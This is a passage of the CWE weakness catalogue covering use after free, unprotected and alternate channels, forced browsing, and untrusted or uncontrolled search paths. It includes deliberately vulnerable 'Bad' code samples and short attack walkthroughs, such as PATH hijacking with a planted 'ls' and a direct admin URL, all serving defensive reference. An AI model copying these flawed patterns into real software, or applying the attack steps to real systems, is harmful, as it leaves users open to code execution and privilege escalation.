  free(buf2R1);
  free(buf1R2);
}
```

MemberOf	C	1237	SFP Primary Cluster: Faulty Resource Release	888	2519
MemberOf	C	1399	Comprehensive Categorization: Memory Safety	1400	2562

Notes

Relationship

This is usually resultant from another weakness, such as an unhandled error or race condition between threads. It could also be primary to weaknesses such as buffer overflows.

Theoretical

It could be argued that Double Free would be most appropriately located as a child of "Use after Free", but "Use" and "Release" are considered to be distinct operations within vulnerability theory, therefore this is more accurately "Release of a Resource after Expiration or Release", which doesn't exist yet.

Taxonomy Mappings

CWE-416: Use After Free

Weakness ID : 416
Structure : Simple
Abstraction : Variant

Description

The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Nature	Type	ID	Name	Page
ChildOf	C	672	Operation on a Resource after Expiration or Release	1491

Weakness Ordinalities

Resultant : If the product accesses a previously-freed pointer, then it means that a separate weakness or error already occurred previously, such as a race condition, an unexpected or poorly handled error condition, confusion over which part of the program is responsible for freeing the memory, performing the free too soon, etc.

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Alternate Terms

Dangling pointer : a pointer that no longer points to valid memory, often after it has been freed

UAF : commonly used acronym for Use After Free

Use-After-Free :

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory *The use of previously freed memory may corrupt valid data, if the memory area in question has been allocated and used properly elsewhere.*	
Availability	DoS: Crash, Exit, or Restart *If chunk consolidation occurs after the use of previously freed data, the process may crash when invalid data is used as chunk information.*	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *If malicious data is entered before chunk consolidation can take place, it may be possible to take advantage of a write-what-where primitive to execute arbitrary code. If the newly allocated data happens to hold a class, in C++ for example, various function pointers may be scattered within the heap data. If one of these function pointers is overwritten with an address to valid shellcode, execution of arbitrary code can be achieved.*	

Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs.

Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness = High

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Strategy = Language Selection

Choose a language that provides automatic memory management.

Phase: Implementation

Strategy = Attack Surface Reduction

When freeing pointers, be sure to set them to NULL once they are freed. However, the utilization of multiple or complex data structures may lower the usefulness of this strategy.

Effectiveness = Defense in Depth

If a bug causes an attempted access of this pointer, then a NULL dereference could still lead to a crash or other unexpected behavior, but it will reduce or eliminate the risk of code execution.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: C *(Bad)*

```
#include <stdio.h>
#include <unistd.h>
#define BUFSIZER1 512
#define BUFSIZER2 ((BUFSIZER1/2) - 8)
int main(int argc, char **argv) {
  char *buf1R1;
  char *buf2R1;
  char *buf2R2;
  char *buf3R2;
  buf1R1 = (char *) malloc(BUFSIZER1);
  buf2R1 = (char *) malloc(BUFSIZER1);
  free(buf2R1);
  buf2R2 = (char *) malloc(BUFSIZER2);
  buf3R2 = (char *) malloc(BUFSIZER2);
  strncpy(buf2R1, argv[1], BUFSIZER1-1);
  free(buf1R1);
  free(buf2R2);
  free(buf3R2);
}
```

Example 2:

The following code illustrates a use after free error:

Example Language: C *(Bad)*

```
char* ptr = (char*)malloc (SIZE);
if (err) {
   abrt = 1;
   free(ptr);
}
...
if (abrt) {
   logError("operation aborted before commit", ptr);
}
```

When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function.

CWE-419: Unprotected Primary Channel

Weakness ID : 419
Structure : Simple
Abstraction : Base

Description

The product uses a primary channel for administration or restricted functionality, but it does not properly protect the channel.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		923	Improper Restriction of Communication Channel to Intended Endpoints	1841

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2462

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	417	Communication Channel Errors	2363

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism	

Potential Mitigations

Phase: Architecture and Design

Do not expose administrative functionnality on the user UI.

Phase: Architecture and Design

Protect the administrative/restricted functionality with a strong authentication mechanism.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
383	Harvesting Information via API Event Monitoring

CWE-420: Unprotected Alternate Channel

Weakness ID : 420
Structure : Simple
Abstraction : Base

Description

The product protects a primary channel, but it does not use the same level of protection for an alternate channel.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	923	Improper Restriction of Communication Channel to Intended Endpoints	1841
ParentOf	B	421	Race Condition During Access to Alternate Channel	1029

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	417	Communication Channel Errors	2363

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism	

Potential Mitigations

Phase: Architecture and Design

Identify all alternate channels and use the same protection mechanisms that are used for the primary channels.

Demonstrative Examples

Example 1:

Register SECURE_ME is located at address 0xF00. A mirror of this register called COPY_OF_SECURE_ME is at location 0x800F00. The register SECURE_ME is protected from malicious agents and only allows access to select, while COPY_OF_SECURE_ME is not.

Access control is implemented using an allowlist (as indicated by acl_oh_allowlist). The identity of the initiator of the transaction is indicated by the one hot input, incoming_id. This is checked against the acl_oh_allowlist (which contains a list of initiators that are allowed to access the asset).

Though this example is shown in Verilog, it will apply to VHDL as well.

Example Language: Verilog *(Informative)*

```
module foo_bar(data_out, data_in, incoming_id, address, clk, rst_n);
output [31:0] data_out;
input [31:0] data_in, incoming_id, address;
input clk, rst_n;
```

```
wire write_auth, addr_auth;
reg [31:0] data_out, acl_oh_allowlist, q;
assign write_auth = | (incoming_id & acl_oh_allowlist) ? 1 : 0;
always @*
   acl_oh_allowlist <= 32'h8312;
assign addr_auth = (address == 32'hF00) ? 1: 0;
always @ (posedge clk or negedge rst_n)
   if (!rst_n)
      begin
         q <= 32'h0;
         data_out <= 32'h0;
      end
   else
      begin
         q <= (addr_auth & write_auth) ? data_in: q;
         data_out <= q;
      end
   end
endmodule
```

Example Language: Verilog *(Bad)*

```
assign addr_auth = (address == 32'hF00) ? 1: 0;
```

The bugged line of code is repeated in the Bad example above. The weakness arises from the fact that the SECURE_ME register can be modified by writing to the shadow register COPY_OF_SECURE_ME. The address of COPY_OF_SECURE_ME should also be included in the check. That buggy line of code should instead be replaced as shown in the Good Code Snippet below.

Example Language: Verilog *(Good)*

```
assign addr_auth = (address == 32'hF00 || address == 32'h800F00) ? 1: 0;
```

Observed Examples

Reference	Description
CVE-2020-8004	When the internal flash is protected by blocking access on the Data Bus (DBUS), it can still be indirectly accessed through the Instruction Bus (IBUS). *https://www.cve.org/CVERecord?id=CVE-2020-8004*
CVE-2002-0567	DB server assumes that local clients have performed authentication, allowing attacker to directly connect to a process to load libraries and execute commands; a socket interface also exists (another alternate channel), so attack can be remote. *https://www.cve.org/CVERecord?id=CVE-2002-0567*
CVE-2002-1578	Product does not restrict access to underlying database, so attacker can bypass restrictions by directly querying the database. *https://www.cve.org/CVERecord?id=CVE-2002-1578*
CVE-2003-1035	User can avoid lockouts by using an API instead of the GUI to conduct brute force password guessing. *https://www.cve.org/CVERecord?id=CVE-2003-1035*
CVE-2002-1863	FTP service can not be disabled even when other access controls would require it. *https://www.cve.org/CVERecord?id=CVE-2002-1863*
CVE-2002-0066	Windows named pipe created without authentication/access control, allowing configuration modification. *https://www.cve.org/CVERecord?id=CVE-2002-0066*
CVE-2004-1461	Router management interface spawns a separate TCP connection after authentication, allowing hijacking by attacker coming from the same IP address.

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unprotected Alternate Channel

CWE-421: Race Condition During Access to Alternate Channel

Weakness ID : 421
Structure : Simple
Abstraction : Base

Description

The product opens an alternate channel to communicate with an authorized user, but the channel is accessible to other actors.

Extended Description

This creates a race condition that allows an attacker to access the channel before the authorized user does.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page

CWE-422: Unprotected Windows Messaging Channel ('Shatter')

Weakness ID : 422
Structure : Simple
Abstraction : Variant

Description

The product does not properly verify the source of a message in the Windows Messaging System while running at elevated privileges, creating an alternate channel through which an attacker can directly send a message to the product.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	360	Trust of System Event Data	895
ChildOf	B	420	Unprotected Alternate Channel	1026

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism	

Potential Mitigations

Phase: Architecture and Design

Always verify and authenticate the source of the message.

Observed Examples

Reference	Description
CVE-2002-0971	Bypass GUI and access restricted dialog box. *https://www.cve.org/CVERecord?id=CVE-2002-0971*
CVE-2002-1230	Gain privileges via Windows message. *https://www.cve.org/CVERecord?id=CVE-2002-1230*
CVE-2003-0350	A control allows a change to a pointer for a callback function using Windows message. *https://www.cve.org/CVERecord?id=CVE-2003-0350*
CVE-2003-0908	Product launches Help functionality while running with raised privileges, allowing command execution using Windows message to access "open file" dialog. *https://www.cve.org/CVERecord?id=CVE-2003-0908*
CVE-2004-0213	Attacker uses Shatter attack to bypass GUI-enforced protection for CVE-2003-0908. *https://www.cve.org/CVERecord?id=CVE-2004-0213*
CVE-2004-0207	User can call certain API functions to modify certain properties of privileged programs. *https://www.cve.org/CVERecord?id=CVE-2004-0207*

Affected Resources

- System Process

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	953	SFP Secondary Cluster: Missing Endpoint Authentication	888	2434
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2556

Notes

Relationship

Overlaps privilege errors and UI errors.

Research Gap

Possibly under-reported, probably under-studied. It is suspected that a number of publicized vulnerabilities that involve local privilege escalation on Windows systems may be related to Shatter attacks, but they are not labeled as such. Alternate channel attacks likely exist in other operating systems and messaging models, e.g. in privileged X Windows applications, but examples are not readily available.

CWE-424: Improper Protection of Alternate Path

Weakness ID : 424
Structure : Simple
Abstraction : Class

Description

The product does not sufficiently protect all possible paths that a user can take to access restricted functionality or resources.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1532
ChildOf	C	638	Not Using Complete Mediation	1416
ParentOf	B	425	Direct Request ('Forced Browsing')	1033

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity	

Potential Mitigations

Phase: Architecture and Design

Deploy different layers of protection to implement security in depth.

Observed Examples

Reference	Description
CVE-2022-29238	Access-control setting in web-based document collaboration tool is not properly implemented by the code, which prevents listing hidden directories but does not prevent direct requests to files in those directories. *https://www.cve.org/CVERecord?id=CVE-2022-29238*

CAPEC-ID	Attack Pattern Name
127	Directory Indexing
554	Functionality Bypass

CWE-425: Direct Request ('Forced Browsing')

Weakness ID : 425
Structure : Simple
Abstraction : Base

Description

The web application does not adequately enforce appropriate authorization on all restricted URLs, scripts, or files.

Extended Description

Web applications susceptible to direct request attacks often make the false assumption that such resources can only be reached through a given navigation path and so only apply authorization at certain points in the path.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	288	Authentication Bypass Using an Alternate Path or Channel	708
ChildOf	C	424	Improper Protection of Alternate Path	1032
ChildOf	C	862	Missing Authorization	1793
CanPrecede	V	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	242

ChildOf	C	862	Missing Authorization	1793

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2462

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1212	Authorization Errors	2513
MemberOf	C	417	Communication Channel Errors	2363

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Web Based *(Prevalence = Undetermined)*

Alternate Terms

forced browsing : The "forced browsing" term could be misinterpreted to include weaknesses such as CSRF or XSS, so its use is discouraged.

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	
Availability	Execute Unauthorized Code or Commands	
Access Control	Gain Privileges or Assume Identity	

Potential Mitigations

Phase: Architecture and Design

Phase: Operation

Apply appropriate access control authorizations for each access to all restricted URLs, scripts or files.

Phase: Architecture and Design

Consider using MVC based frameworks such as Struts.

Demonstrative Examples

Example 1:

If forced browsing is possible, an attacker may be able to directly access a sensitive page by entering a URL similar to the following.

Example Language: JSP *(Attack)*

```
http://somesite.com/someapplication/admin.jsp
```

Observed Examples

Reference	Description
CVE-2022-29238	Access-control setting in web-based document collaboration tool is not properly implemented by the code, which prevents listing hidden directories but does not prevent direct requests to files in those directories. *https://www.cve.org/CVERecord?id=CVE-2022-29238*

MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2556

Notes

Relationship

Overlaps Modification of Assumed-Immutable Data (MAID), authorization errors, container errors; often primary to other weaknesses such as XSS and SQL injection.

Theoretical

"Forced browsing" is a step-based manipulation involving the omission of one or more steps, whose order is assumed to be immutable. The application does not verify that the first step was performed successfully before the second step. The consequence is typically "authentication bypass" or "path disclosure," although it can be primary to all kinds of weaknesses, especially in languages such as PHP, which allow external modification of assumed-immutable variables.

Taxonomy Mappings

CWE-426: Untrusted Search Path

Weakness ID : 426
Structure : Simple
Abstraction : Base

Description

The product searches for critical resources using an externally-supplied search path that can point to resources that are not under the product's direct control.

Extended Description

This might allow attackers to execute their own programs, access unauthorized data files, or modify configuration in unexpected ways. If the product uses a search path to locate critical resources such as programs, then an attacker could modify that search path to point to a malicious program, which the targeted product would then execute. The problem extends to any type of critical resource that the product trusts.

Some of the most common variants of untrusted search path are:

- In various UNIX and Linux-based systems, the PATH environment variable may be consulted to locate executable programs, and LD_PRELOAD may be used to locate a separate library.
- In various Microsoft-based systems, the PATH environment variable is consulted to locate a DLL, if the DLL is not found in other paths that appear earlier in the search order.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Alternate Terms

Untrusted Path :

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability Access Control	Gain Privileges or Assume Identity Execute Unauthorized Code or Commands *There is the potential for arbitrary code execution with privileges of the vulnerable program.*	
Availability	DoS: Crash, Exit, or Restart *The program could be redirected to the wrong files, potentially triggering a crash or hang when the targeted file is too large or does not have the expected format.*	
Confidentiality	Read Files or Directories *The program could send the output of unauthorized files to the attacker.*	

Detection Methods

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the

running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process and look for library functions and system calls that suggest when a search path is being used. One pattern is when the program performs multiple accesses of the same file but in different directories, with repeated failures until the proper filename is found. Library calls such as getenv() or their equivalent can be checked to see if any path-related variables are being accessed.

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Manual Analysis

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Strategy = Attack Surface Reduction

Hard-code the search path to a set of known-safe values (such as system directories), or only allow them to be specified by the administrator in a configuration file. Do not allow these settings to be modified by an external party. Be careful to avoid related weaknesses such as CWE-426 and CWE-428.

Phase: Implementation

When invoking other programs, specify those programs using fully-qualified pathnames. While this is an effective approach, code that uses fully-qualified pathnames might not be portable to other systems that do not use the same pathnames. The portability can be improved by locating the full-qualified paths in a centralized, easily-modifiable location within the source code, and having the code refer to these paths.

Phase: Implementation

Remove or restrict all environment settings before invoking other programs. This includes the PATH environment variable, LD_LIBRARY_PATH, and other settings that identify the location of code libraries, and any application-specific search paths.

Phase: Implementation

Check your search path before use and remove any elements that are likely to be unsafe, such as the current working directory or a temporary files directory.

Phase: Implementation

Use other functions that require explicit paths. Making use of any of the other readily available functions that require explicit paths is a safe way to avoid this problem. For example, system() in C does not require a full path since the shell can take care of it, while execl() and execv() require a full path.

Demonstrative Examples

Example 1:

This program is intended to execute a command that lists the contents of a restricted directory, then performs other actions. Assume that it runs with setuid privileges in order to bypass the permissions check by the operating system.

Example Language: C *(Bad)*

```
#define DIR "/restricted/directory"
char cmd[500];
sprintf(cmd, "ls -l %480s", DIR);
/* Raise privileges to those needed for accessing DIR. */
RaisePrivileges(...);
system(cmd);
DropPrivileges(...);
...
```

This code may look harmless at first, since both the directory and the command are set to fixed values that the attacker can't control. The attacker can only see the contents for DIR, which is the intended program behavior. Finally, the programmer is also careful to limit the code that executes with raised privileges.

However, because the program does not modify the PATH environment variable, the following attack would work:

Example Language: *(Attack)*

- The user sets the PATH to reference a directory under the attacker's control, such as "/my/dir/".
- The attacker creates a malicious program called "ls", and puts that program in /my/dir
- The user executes the program.
- When system() is executed, the shell consults the PATH to find the ls program
- The program finds the attacker's malicious program, "/my/dir/ls". It doesn't find "/bin/ls" because PATH does not contain "/bin/".
- The program executes the attacker's malicious program with the raised privileges.

Example 2:

The following code from a system utility uses the system property APPHOME to determine the directory in which it is installed and then executes an initialization script based on a relative path from the specified directory.

Example Language: Java *(Bad)*

```
...
String home = System.getProperty("APPHOME");
String cmd = home + INITCMD;
java.lang.Runtime.getRuntime().exec(cmd);
...
```

The code above allows an attacker to execute arbitrary commands with the elevated privilege of the application by modifying the system property APPHOME to point to a different path containing a malicious version of INITCMD. Because the program does not validate the value read from the environment, if an attacker can control the value of the system property APPHOME, then they can fool the application into running malicious code and take control of the system.

Example 3:

This code prints all of the running processes belonging to the current user.

Example Language: PHP *(Bad)*

```
//assume getCurrentUser() returns a username that is guaranteed to be alphanumeric (avoiding CWE-78)
$userName = getCurrentUser();
$command = 'ps aux | grep ' . $userName;
system($command);
```

If invoked by an unauthorized web user, it is providing a web page of potentially sensitive information on the underlying system, such as command-line arguments (CWE-497). This program is also potentially vulnerable to a PATH based attack (CWE-426), as an attacker may be able to create malicious versions of the ps or grep commands. While the program does not explicitly raise privileges to run the system commands, the PHP interpreter may by default be running with higher privileges than users.

Example 4:

The following code is from a web application that allows users access to an interface through which they can update their password on the system. In this environment, user passwords can be managed using the Network Information System (NIS), which is commonly used on UNIX systems. When performing NIS updates, part of the process for updating passwords is to run a make command in the /var/yp directory. Performing NIS updates requires extra privileges.

Example Language: Java *(Bad)*

```
...
System.Runtime.getRuntime().exec("make");
...
```

The problem here is that the program does not specify an absolute path for make and does not clean its environment prior to executing the call to Runtime.exec(). If an attacker can modify the $PATH variable to point to a malicious binary called make and cause the program to be executed in their environment, then the malicious binary will be loaded instead of the one intended. Because of the nature of the application, it runs with the privileges necessary to perform system operations, which means the attacker's make will now be run with these privileges, possibly giving the attacker complete control of the system.

CWE-427: Uncontrolled Search Path Element

Weakness ID : 427
Structure : Simple
Abstraction : Base

Description

The product uses a fixed or controlled search path to find resources, but one or more locations in that path can be under the control of unintended actors.

Extended Description

Although this weakness can occur with any type of resource, it is frequently introduced when a product uses a directory search path to find executables or code libraries, but the path contains a directory that can be modified by an attacker, such as "/tmp" or the current working directory.

In Windows-based systems, when the LoadLibrary or LoadLibraryEx function is called with a DLL name that does not contain a fully qualified path, the function follows a search order that includes two path elements that might be uncontrolled:

- the directory from which the program has been loaded
- the current working directory

In some cases, the attack can be conducted remotely, such as when SMB or WebDAV network shares are used.

One or more locations in that path could include the Windows drive root or its subdirectories. This often exists in Linux-based code assuming the controlled nature of the root directory (/) or its subdirectories (/etc, etc), or a code that recursively accesses the parent directory. In Windows, the drive root and some of its subdirectories have weak permissions by default, which makes them uncontrolled.

In some Unix-based systems, a PATH might be created that contains an empty element, e.g. by splicing an empty variable into the PATH. This empty element can be interpreted as equivalent to the current working directory, which might be an untrusted search element.

In software package management frameworks (e.g., npm, RubyGems, or PyPi), the framework may identify dependencies on third-party libraries or other packages, then consult a repository that contains the desired package. The framework may search a public repository before a private repository. This could be exploited by attackers by placing a malicious package in the public repository that has the same name as a package from the private repository. The search path might not be directly under control of the developer relying on the framework, but this search order effectively contains an untrusted element.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Operating_System : Not OS-Specific *(Prevalence = Undetermined)*

Alternate Terms

DLL preloading : This term is one of several that are used to describe exploitation of untrusted search path elements in Windows systems, which received wide attention in August 2010. From a weakness perspective, the term is imprecise because it can apply to both CWE-426 and CWE-427.

Binary planting : This term is one of several that are used to describe exploitation of untrusted search path elements in Windows systems, which received wide attention in August 2010. From a weakness perspective, the term is imprecise because it can apply to both CWE-426 and CWE-427.

Insecure library loading : This term is one of several that are used to describe exploitation of untrusted search path elements in Windows systems, which received wide attention in August 2010. From a weakness perspective, the term is imprecise because it can apply to both CWE-426 and CWE-427.

Dependency confusion : As of February 2021, this term is used to describe CWE-427 in the context of managing installation of software package dependencies, in which attackers release packages on public sites where the names are the same as package names used by private repositories, and the search for the dependent package tries the public site first, downloading untrusted code. It may also be referred to as a "substitution attack."

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Strategy = Attack Surface Reduction

Hard-code the search path to a set of known-safe values (such as system directories), or only allow them to be specified by the administrator in a configuration file. Do not allow these settings to be modified by an external party. Be careful to avoid related weaknesses such as CWE-426 and CWE-428.

Phase: Implementation

Strategy = Attack Surface Reduction

When invoking other programs, specify those programs using fully-qualified pathnames. While this is an effective approach, code that uses fully-qualified pathnames might not be portable to other systems that do not use the same pathnames. The portability can be improved by locating

the full-qualified paths in a centralized, easily-modifiable location within the source code, and having the code refer to these paths.

Phase: Implementation

Strategy = Attack Surface Reduction

Remove or restrict all environment settings before invoking other programs. This includes the PATH environment variable, LD_LIBRARY_PATH, and other settings that identify the location of code libraries, and any application-specific search paths.

Phase: Implementation

Check your search path before use and remove any elements that are likely to be unsafe, such as the current working directory or a temporary files directory. Since this is a denylist approach, it might not be a complete solution.

Phase: Implementation

Use other functions that require explicit paths. Making use of any of the other readily available functions that require explicit paths is a safe way to avoid this problem. For example, system() in C does not require a full path since the shell can take care of finding the program using the PATH environment variable, while execl() and execv() require a full path.

Demonstrative Examples

Example 1:

The following code is from a web application that allows users access to an interface through which they can update their password on the system. In this environment, user passwords can be managed using the Network Information System (NIS), which is commonly used on UNIX systems. When performing NIS updates, part of the process for updating passwords is to run a make command in the /var/yp directory. Performing NIS updates requires extra privileges.

Example Language: Java *(Bad)*

```
...
System.Runtime.getRuntime().exec("make");
...
```

The problem here is that the program does not specify an absolute path for make and does not clean its environment prior to executing the call to Runtime.exec(). If an attacker can modify the $PATH variable to point to a malicious binary called make and cause the program to be executed in their environment, then the malicious binary will be loaded instead of the one intended. Because of the nature of the application, it runs with the privileges necessary to perform system operations, which means the attacker's make will now be run with these privileges, possibly giving the attacker complete control of the system.

Example 2:

In versions of Go prior to v1.19, the LookPath function would follow the conventions of the runtime OS and look for a program in the directiories listed in the current path [REF-1325].

Therefore, Go would prioritize searching the current directory when the provided command name does not contain a directory separator and continued to search for programs even when the specified program name is empty.

Consider the following where an application executes a git command to run on the system.

Example Language: Go *(Bad)*

```
func ExecuteGitCommand(name string, arg []string) error {
   c := exec.Command(name, arg...)
   var err error
   c.Path, err = exec.LookPath(name)
   if err != nil {
```

```
        return err
    }
}
```

An attacker could create a malicious repository with a file named ..exe and another file named git.exe. If git.exe is not found in the system PATH, then ..exe would execute [REF-1326].

Example 3:

In February 2021 [REF-1169], a researcher was able to demonstrate the ability to breach major technology companies by using "dependency confusion" where the companies would download and execute untrusted packages.

The researcher discovered the names of some internal, private packages by looking at dependency lists in public source code, such as package.json. The researcher then created new, untrusted packages with the same name as the internal packages, then uploaded them to package hosting services. These services included the npm registry for Node, PyPi for Python, and RubyGems. In affected companies, their dependency resolution would search the public hosting services first before consulting their internal service, causing the untrusted packages to be automatically downloaded and executed.

Observed Examples

Reference	Description
CVE-2023-25815	chain: a change in an underlying package causes the gettext function to use implicit initialization with a hard-coded path (CWE-1419) under the user-writable C:\ drive, introducing an untrusted search path element (CWE-427) that enables spoofing of messages. *https://www.cve.org/CVERecord?id=CVE-2023-25815*
CVE-2022-4826	Go-based git extension on Windows can search for and execute a malicious "..exe" in a repository because Go searches the current working directory if git.exe is not found in the PATH *https://www.cve.org/CVERecord?id=CVE-2022-4826*
CVE-2020-26284	A Static Site Generator built in Go, when running on Windows, searches the current working directory for a command, possibly allowing code execution using a malicious .exe or .bat file with the name being searched *https://www.cve.org/CVERecord?id=CVE-2020-26284*
CVE-2022-24765	Windows-based fork of git creates a ".git" folder in the C: drive, allowing local attackers to create a .git folder with a malicious config file *https://www.cve.org/CVERecord?id=CVE-2022-24765*
CVE-2019-1552	SSL package searches under "C:/usr/local" for configuration files and other critical data, but C:/usr/local might be world-writable. *https://www.cve.org/CVERecord?id=CVE-2019-1552*
CVE-2010-3402	"DLL hijacking" issue in document editor. *https://www.cve.org/CVERecord?id=CVE-2010-3402*
CVE-2010-3397	"DLL hijacking" issue in encryption software. *https://www.cve.org/CVERecord?id=CVE-2010-3397*
CVE-2010-3138	"DLL hijacking" issue in library used by multiple media players. *https://www.cve.org/CVERecord?id=CVE-2010-3138*
CVE-2010-3152	"DLL hijacking" issue in illustration program. *https://www.cve.org/CVERecord?id=CVE-2010-3152*
